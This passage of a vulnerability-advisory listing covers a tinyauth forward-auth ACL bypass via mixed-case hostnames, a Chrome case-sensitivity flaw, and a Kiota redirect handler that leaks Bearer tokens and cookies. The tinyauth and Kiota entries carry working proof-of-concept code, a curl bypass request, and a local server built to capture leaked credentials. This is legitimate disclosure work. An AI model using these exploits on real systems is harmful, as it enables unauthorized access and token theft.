// empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
upper := forwardAuth("IMMICH.example.com")
t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))
require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}
Observed output (v5.0.7; trimmed to the two decisive log lines):
=== RUN TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain name=immich
... proxy_controller.go: User not allowed to access resource resource=immich user=bob
zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok github.com/steveiliop56/tinyauth/internal/controller 0.067s
The control request (immich.example.com) finds the ACL and correctly returns 403 for bob; the identical request with an upper-cased host (IMMICH.example.com) misses the ACL, falls back to the empty App, and returns 200 Authenticated with Remote-User: bob. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case Host header, e.g. curl -H 'Host: IMMICH.example.com' https://<proxy>/ with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.
Remediation
- Canonicalize the host before the ACL decision. Lower-case (and strip any trailing dot / port from) the forwarded host in
getForwardAuthContext/getAuthRequestContext/getExtAuthzContext, and store both the ACLappskeys and eachconfig.domain/ label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare withstrings.EqualFold. This closes the case, trailing-dot, and port-variant encodings in one place. - Fail closed on an ACL miss.
GetAccessControls/GetLabelsshould distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-allApp; it should apply a deny-by-default (or an explicit, documented default policy) rather than returningconfig.App{}, nil. Returning an all-emptyAppas the fallback is the fail-open that turns the lookup miss into an authorization bypass. - Add a regression test asserting that a user excluded by
users.allowis still403when the same host is supplied in mixed case, with a trailing dot, and with an added port.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tinyauthapp/tinyauth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1-0.20260720133915-80bc87188ec3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77560"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-636",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:37:08Z",
"nvd_published_at": "2026-09-21T17:18:52Z",
"severity": "HIGH"
},
"details": "# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for\n\n\n\n## GitHub Advisory Details (form fields \u2014 paste-ready)\n\n**Affected products**\n| Field | Value |\n|-------|-------|\n| Ecosystem | `Other (self-hosted)` / Go |\n| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |\n| Affected versions | `\u003c 5.1.2` |\n| Patched versions | `5.1.2` |\n\n**Advisory details**\n| Field | Value |\n|-------|-------|\n| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |\n\n- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)\n- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD\n- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)\n- **Class:** Broken access control / authorization bypass across the per-app trust boundary\n\n## Summary\n\ntinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/\u003cproxy\u003e` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set \u2014 the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.\n\nThe hostname \u2192 ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, \".\", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth\u0027s case-sensitive lookup **misses** the app\u0027s ACL entry.\n\nOn a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` \u2192 true, `CheckIP` (no allow/block) \u2192 allowed, `IsUserAllowed` with an empty `users.allow` \u2192 `CheckFilter(\"\", \u2026)` \u2192 **true**, and the group check with empty required groups \u2192 **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them \u2014 simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.\n\n## Affected code (v5.0.7, commit `479f1657\u2026`)\n\nThe ACL lookup uses case-sensitive equality \u2014 `internal/service/access_controls_service.go`:\n\n```go\nfunc (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {\n\tfor app, config := range acls.static {\n\t\tif config.Config.Domain == domain { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t\tif strings.SplitN(domain, \".\", 2)[0] == app { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t}\n\treturn config.App{}, errors.New(\"no results\")\n}\n\nfunc (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {\n\tapp, err := acls.lookupStaticACLs(domain)\n\tif err == nil {\n\t\treturn app, nil\n\t}\n\t// Fallback to Docker labels\n\treturn acls.docker.GetLabels(domain)\n}\n```\n\nThe Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) \u2014 `internal/service/docker_service.go`:\n\n```go\nfunc (docker *DockerService) GetLabels(appDomain string) (config.App, error) {\n\tif !docker.isConnected {\n\t\treturn config.App{}, nil // \u003c-- empty App, no error\n\t}\n\t...\n\tfor _, ctr := range containers {\n\t\t...\n\t\tfor appName, appLabels := range labels.Apps {\n\t\t\tif appLabels.Config.Domain == appDomain { ... } // case-sensitive\n\t\t\tif strings.SplitN(appDomain, \".\", 2)[0] == appName { ... } // case-sensitive\n\t\t}\n\t}\n\treturn config.App{}, nil // \u003c-- no match -\u003e empty App, no error\n}\n```\n\nThe forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user \u2014 `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:\n\n```go\n// proxyHandler: host comes straight from X-Forwarded-Host, no normalization\nacls, err := controller.acls.GetAccessControls(proxyCtx.Host)\n...\nif userContext.IsLoggedIn {\n\tuserAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -\u003e true\n\t...\n\tc.Header(\"Remote-User\", utils.SanitizeHeader(userContext.Username))\n\tc.JSON(200, gin.H{\"status\": 200, \"message\": \"Authenticated\"})\n}\n\n// IsUserAllowed with an empty App:\nfunc (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {\n\tif context.OAuth {\n\t\treturn utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter(\"\", \u2026) == true\n\t}\n\tif acls.Users.Block != \"\" { ... } // \"\" -\u003e skipped\n\treturn utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter(\"\", \u2026) == true\n}\n```\n\n`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means \"everyone is allowed\":\n\n```go\nfunc CheckFilter(filter string, str string) bool {\n\tif len(strings.TrimSpace(filter)) == 0 {\n\t\treturn true // empty allowlist -\u003e allow all\n\t}\n\t...\n}\n```\n\nThe forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` \u2014 none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.\n\n## Attacker model / precondition\n\nThe attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance \u2014 they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.\n\nTrigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key \u2014 the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 \u00a73.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy \u2192 `X-Forwarded-Host`; nginx \u2192 `X-Original-URL`; Envoy \u2192 `Host`).\n\nWhat bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app\u0027s data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.\n\n## Impact\n\nAny authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` \u2014 none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product\u0027s core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project\u0027s own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` \u2014 a cross-app authorization bypass.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth\ncd tinyauth\n# The repo embeds the built frontend at internal/assets/dist via //go:embed.\n# For a backend-only PoC, create a one-file stub so the embed compiles:\nmkdir -p internal/assets/dist\nprintf \u0027\u003c!doctype html\u003e\u003ctitle\u003estub\u003c/title\u003e\u0027 \u003e internal/assets/dist/index.html\n# Write the test file shown below to internal/controller/zzz_poc_test.go, then:\ngo test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v\n```\n\n`internal/controller/zzz_poc_test.go`:\n\n```go\npackage controller_test\n\nimport (\n\t\"net/http/httptest\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/steveiliop56/tinyauth/internal/bootstrap\"\n\t\"github.com/steveiliop56/tinyauth/internal/config\"\n\t\"github.com/steveiliop56/tinyauth/internal/controller\"\n\t\"github.com/steveiliop56/tinyauth/internal/repository\"\n\t\"github.com/steveiliop56/tinyauth/internal/service\"\n\t\"github.com/steveiliop56/tinyauth/internal/utils/tlog\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched\n// against the forwarded host with a case-SENSITIVE string comparison, while\n// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in\n// an app\u0027s users.allow list can reach the app anyway by varying the case of the\n// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail\n// open), and the forward-auth verdict becomes 200 \"Authenticated\".\nfunc TestForwardAuthHostCaseACLBypass(t *testing.T) {\n\ttlog.NewTestLogger().Init()\n\ttempDir := t.TempDir()\n\n\t// Force the docker label provider offline so an ACL miss deterministically\n\t// yields the empty App() default (this is exactly what happens on any\n\t// deployment whose ACLs live in the static `apps:` config, or whose docker\n\t// socket holds no container matching the mixed-case host).\n\tt.Setenv(\"DOCKER_HOST\", \"unix:///nonexistent/docker.sock\")\n\n\tauthServiceCfg := service.AuthServiceConfig{\n\t\tUsers: []config.User{\n\t\t\t{\n\t\t\t\tUsername: \"admin\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t\t{\n\t\t\t\tUsername: \"bob\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t},\n\t\tSessionExpiry: 10,\n\t\tCookieDomain: \"example.com\",\n\t\tLoginTimeout: 10,\n\t\tLoginMaxRetries: 3,\n\t\tSessionCookieName: \"tinyauth-session\",\n\t}\n\n\tcontrollerCfg := controller.ProxyControllerConfig{\n\t\tAppURL: \"https://tinyauth.example.com\",\n\t}\n\n\t// The admin restricts the \"immich\" app to user \"admin\" only.\n\tacls := map[string]config.App{\n\t\t\"immich\": {\n\t\t\tConfig: config.AppConfig{\n\t\t\t\tDomain: \"immich.example.com\",\n\t\t\t},\n\t\t\tUsers: config.AppUsers{\n\t\t\t\tAllow: \"admin\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// bob is a legitimately-authenticated low-privileged user. He is NOT in\n\t// immich\u0027s users.allow list.\n\tbobCtx := func(c *gin.Context) {\n\t\tc.Set(\"context\", \u0026config.UserContext{\n\t\t\tUsername: \"bob\",\n\t\t\tName: \"Bob\",\n\t\t\tEmail: \"bob@example.com\",\n\t\t\tIsLoggedIn: true,\n\t\t\tProvider: \"local\",\n\t\t})\n\t\tc.Next()\n\t}\n\n\t// Shared services (mirrors the project\u0027s own proxy_controller_test.go).\n\tapp := bootstrap.NewBootstrapApp(config.Config{})\n\tdb, err := app.SetupDatabase(path.Join(tempDir, \"tinyauth.db\"))\n\trequire.NoError(t, err)\n\tdefer func() { _ = db.Close() }()\n\n\tqueries := repository.New(db)\n\n\tdocker := service.NewDockerService()\n\trequire.NoError(t, docker.Init())\n\n\tldap := service.NewLdapService(service.LdapServiceConfig{})\n\trequire.NoError(t, ldap.Init())\n\n\tbroker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))\n\trequire.NoError(t, broker.Init())\n\n\tauthService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)\n\trequire.NoError(t, authService.Init())\n\n\taclsService := service.NewAccessControlsService(docker, acls)\n\n\tnewRouter := func() *gin.Engine {\n\t\tgin.SetMode(gin.TestMode)\n\t\trouter := gin.New()\n\t\trouter.Use(bobCtx)\n\t\tgroup := router.Group(\"/api\")\n\t\tpc := controller.NewProxyController(controllerCfg, group, aclsService, authService)\n\t\tpc.SetupRoutes()\n\t\treturn router\n\t}\n\n\tforwardAuth := func(host string) *httptest.ResponseRecorder {\n\t\trec := httptest.NewRecorder()\n\t\treq := httptest.NewRequest(\"GET\", \"/api/auth/traefik\", nil)\n\t\treq.Header.Set(\"x-forwarded-host\", host)\n\t\treq.Header.Set(\"x-forwarded-proto\", \"https\")\n\t\treq.Header.Set(\"x-forwarded-uri\", \"/\")\n\t\tnewRouter().ServeHTTP(rec, req)\n\t\treturn rec\n\t}\n\n\t// 1. Control: exact-case host -\u003e ACL is found, bob is NOT in users.allow -\u003e 403.\n\tlower := forwardAuth(\"immich.example.com\")\n\tt.Logf(\"[control] x-forwarded-host=immich.example.com -\u003e %d remote-user=%q\", lower.Code, lower.Header().Get(\"Remote-User\"))\n\tassert.Equal(t, 403, lower.Code, \"boundary must block bob at the exact-case host\")\n\n\t// 2. Bypass: upper-case host -\u003e ACL lookup misses (case-sensitive ==),\n\t// empty App fail-open -\u003e 200 Authenticated + Remote-User leaks bob.\n\tupper := forwardAuth(\"IMMICH.example.com\")\n\tt.Logf(\"[BYPASS] x-forwarded-host=IMMICH.example.com -\u003e %d remote-user=%q\", upper.Code, upper.Header().Get(\"Remote-User\"))\n\n\trequire.Equalf(t, 200, upper.Code, \"expected the mixed-case host to bypass the users.allow ACL\")\n\trequire.Equalf(t, \"bob\", upper.Header().Get(\"Remote-User\"), \"tinyauth authorized bob for immich across the ACL boundary\")\n}\n```\n\nObserved output (v5.0.7; trimmed to the two decisive log lines):\n\n```text\n=== RUN TestForwardAuthHostCaseACLBypass\n... access_controls_service.go: Found matching container by domain name=immich\n... proxy_controller.go: User not allowed to access resource resource=immich user=bob\n zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -\u003e 403 remote-user=\"\"\n... access_controls_service.go: Falling back to Docker labels for ACLs\n... docker_service.go: Docker not connected, returning empty labels\n zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -\u003e 200 remote-user=\"bob\"\n--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)\nPASS\nok \tgithub.com/steveiliop56/tinyauth/internal/controller\t0.067s\n```\n\nThe control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H \u0027Host: IMMICH.example.com\u0027 https://\u003cproxy\u003e/` with bob\u0027s session cookie \u2014 the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.\n\n## Remediation\n\n- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.\n- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish \"no ACL configured for this host\" from \"empty ACL that allows everyone.\" When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.\n- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-328g-jx67-v94g",
"modified": "2026-09-22T20:37:08Z",
"published": "2026-09-22T20:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-328g-jx67-v94g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77560"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1000"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1028"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/80bc87188ec3aabc5104c249eaa7b997973b9275"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/e75605b2c534ec83525a33603e16d76baca13399"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinyauthapp/tinyauth"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for"
}
GHSA-35MW-8R7P-2P48
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-28 21:30Improper handling of case sensitivity in FileSystem in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-78959"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:17:51Z",
"severity": "MODERATE"
},
"details": "Improper handling of case sensitivity in FileSystem in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-35mw-8r7p-2p48",
"modified": "2026-08-28T21:30:56Z",
"published": "2026-08-25T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78959"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/518084889"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-396Q-4VC8-28X9
Vulnerability from github – Published: 2026-06-26 22:23 – Updated: 2026-06-26 22:23Summary
@microsoft/kiota-http-fetchlibrary's RedirectHandler is documented as stripping Authorization and Cookie from cross-origin redirect targets, but the default scrubSensitiveHeaders callback in RedirectHandlerOptions uses case-sensitive property deletion (delete headers.Authorization, delete headers.Cookie) on a headers object that FetchRequestAdapter.getRequestFromRequestInformation has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.
This is reachable in the default middleware chain (MiddlewareFactory.getDefaultMiddlewares) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses BaseBearerTokenAuthenticationProvider or any other authentication provider that sets the Authorization request header.
Affected versions
@microsoft/kiota-http-fetchlibrary >= 1.0.0-preview.97 (the release that introduced the defaultScrubSensitiveHeaders callback, commit 74886cc4, tagged 2026-02-27) up to and including 1.0.0-preview.101 (latest at filing). The bug was verified end-to-end against the version published on npm: 1.0.0-preview.100.
The case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself — FetchRequestAdapter.getRequestFromRequestInformation has lower-cased header keys via toLocaleLowerCase() since commit d612bac2 (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.
Impact
- Bearer token leak across origin. When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the
Authorization: Bearer <token>header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by: - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).
- An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).
- An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).
- Session cookie leak across origin. If the application or generated SDK attaches a
Cookieheader, the same primitive forwards it to the redirect target. - No user interaction required. The default middleware chain is in effect; the application does not need to opt in to the bug.
Vulnerable code
The two pieces that combine into the bug.
1. Headers are lower-cased on the way out of the request adapter.
packages/http/fetch/src/fetchRequestAdapter.ts:529-532:
const headers: Record<string, string> | undefined = {};
requestInfo.headers?.forEach((_, key) => {
headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));
});
The headers object that flows into the middleware pipeline as fetchRequestInit.headers has every key lower-cased. So Authorization becomes authorization, Cookie becomes cookie.
2. The default redirect scrub deletes case-sensitive property names.
packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82:
private static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record<string, string>, originalUrl: string, newUrl: string) => {
if (!headers || !originalUrl || !newUrl) {
return;
}
try {
const originalUri = new URL(originalUrl);
const newUri = new URL(newUrl);
const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
if (isDifferentHostOrScheme) {
delete headers.Authorization;
delete headers.Cookie;
}
} catch {
return;
}
};
delete headers.Authorization is sugar for delete headers["Authorization"]. JavaScript object property names are case-sensitive. The headers object's actual key is "authorization" (lower-case). The delete removes nothing.
3. The redirect handler invokes the scrub on the lower-cased object.
packages/http/fetch/src/middlewares/redirectHandler.ts:133-136:
if (fetchRequestInit.headers) {
currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record<string, string>, url, newUrl);
}
The redirect handler then issues a new fetch with the unchanged fetchRequestInit.headers (still containing authorization) to newUrl (the attacker-controlled host).
How the Bearer token reaches the attacker host
- Application calls a kiota-generated SDK method.
FetchRequestAdapter.sendcallsauthenticationProvider.authenticateRequest(requestInfo).BaseBearerTokenAuthenticationProvideraddsAuthorization: Bearer <token>torequestInfo.headers(packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34).FetchRequestAdapter.getRequestFromRequestInformationbuilds theRequestInitobject, lower-casing every header key. The outputheadersmap contains key"authorization".- The default middleware chain runs
RetryHandlerthenRedirectHandler.RedirectHandler.executesetsredirect = "manual"so the underlyingfetchdoes not auto-follow. - The upstream HTTP request goes out to the victim host carrying
authorization: Bearer <token>. - The victim host responds with
302 Location: https://attacker.example/loot. RedirectHandler.executeWithRedirectsees the 302, parses the Location, computesnewUrl, and callscurrentOptions.scrubSensitiveHeaders(headers, url, newUrl).defaultScrubSensitiveHeaderscorrectly observesoriginalUri.host !== newUri.host, enters theif (isDifferentHostOrScheme)branch, and runsdelete headers.Authorization. The headers object's key isauthorization. The delete is a no-op.executeWithRedirectrecurses withurl = newUrland the unchangedheaders. A secondfetchgoes out to the attacker host carryingauthorization: Bearer <token>andcookie: <session>.
Proof of concept
End-to-end PoC against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100 and @microsoft/kiota-abstractions@1.0.0-preview.99 installed from npm with npm install. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.
package.json:
{
"name": "kiota-bearer-leak-poc",
"version": "0.0.1",
"private": true,
"type": "module",
"dependencies": {
"@microsoft/kiota-abstractions": "^1.0.0-preview.99",
"@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
}
}
poc.mjs:
import http from "node:http";
import {
BaseBearerTokenAuthenticationProvider,
RequestInformation,
HttpMethod,
} from "@microsoft/kiota-abstractions";
import {
FetchRequestAdapter,
KiotaClientFactory,
} from "@microsoft/kiota-http-fetchlibrary";
const TOKEN = "SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD";
const COOKIE = "session=SECRET_COOKIE_EEEE-FFFF";
const attackerCapture = [];
const attackerServer = http.createServer((req, res) => {
attackerCapture.push({ url: req.url, headers: req.headers });
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ pwned: true }));
});
await new Promise((r) => attackerServer.listen(7772, "127.0.0.1", r));
const victimServer = http.createServer((req, res) => {
res.writeHead(302, { Location: "http://127.0.0.1:7772/api/data" });
res.end();
});
await new Promise((r) => victimServer.listen(7771, "127.0.0.1", r));
class StaticTokenProvider {
getAuthorizationToken() { return Promise.resolve(TOKEN); }
getAllowedHostsValidator() { return { getAllowedHosts: () => [] }; }
}
const authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());
const adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());
adapter.baseUrl = "http://127.0.0.1:7771";
const requestInfo = new RequestInformation();
requestInfo.urlTemplate = "{+baseurl}/me";
requestInfo.pathParameters["baseurl"] = "http://127.0.0.1:7771";
requestInfo.httpMethod = HttpMethod.GET;
requestInfo.headers.add("Cookie", COOKIE);
try { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}
console.log("attacker received:", JSON.stringify(attackerCapture[0]?.headers, null, 2));
attackerServer.close();
victimServer.close();
End-to-end reproduction against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100
Setup:
mkdir kiota-leak && cd kiota-leak
cat > package.json <<'EOF'
{
"name": "kiota-bearer-leak-poc",
"version": "0.0.1",
"private": true,
"type": "module",
"dependencies": {
"@microsoft/kiota-abstractions": "^1.0.0-preview.99",
"@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
}
}
EOF
# Save the poc.mjs above into the same directory
npm install
node --version # tested on Node v26.0.0
node poc.mjs
Captured transcript (verbatim from a clean run on Node v26):
attacker received: {
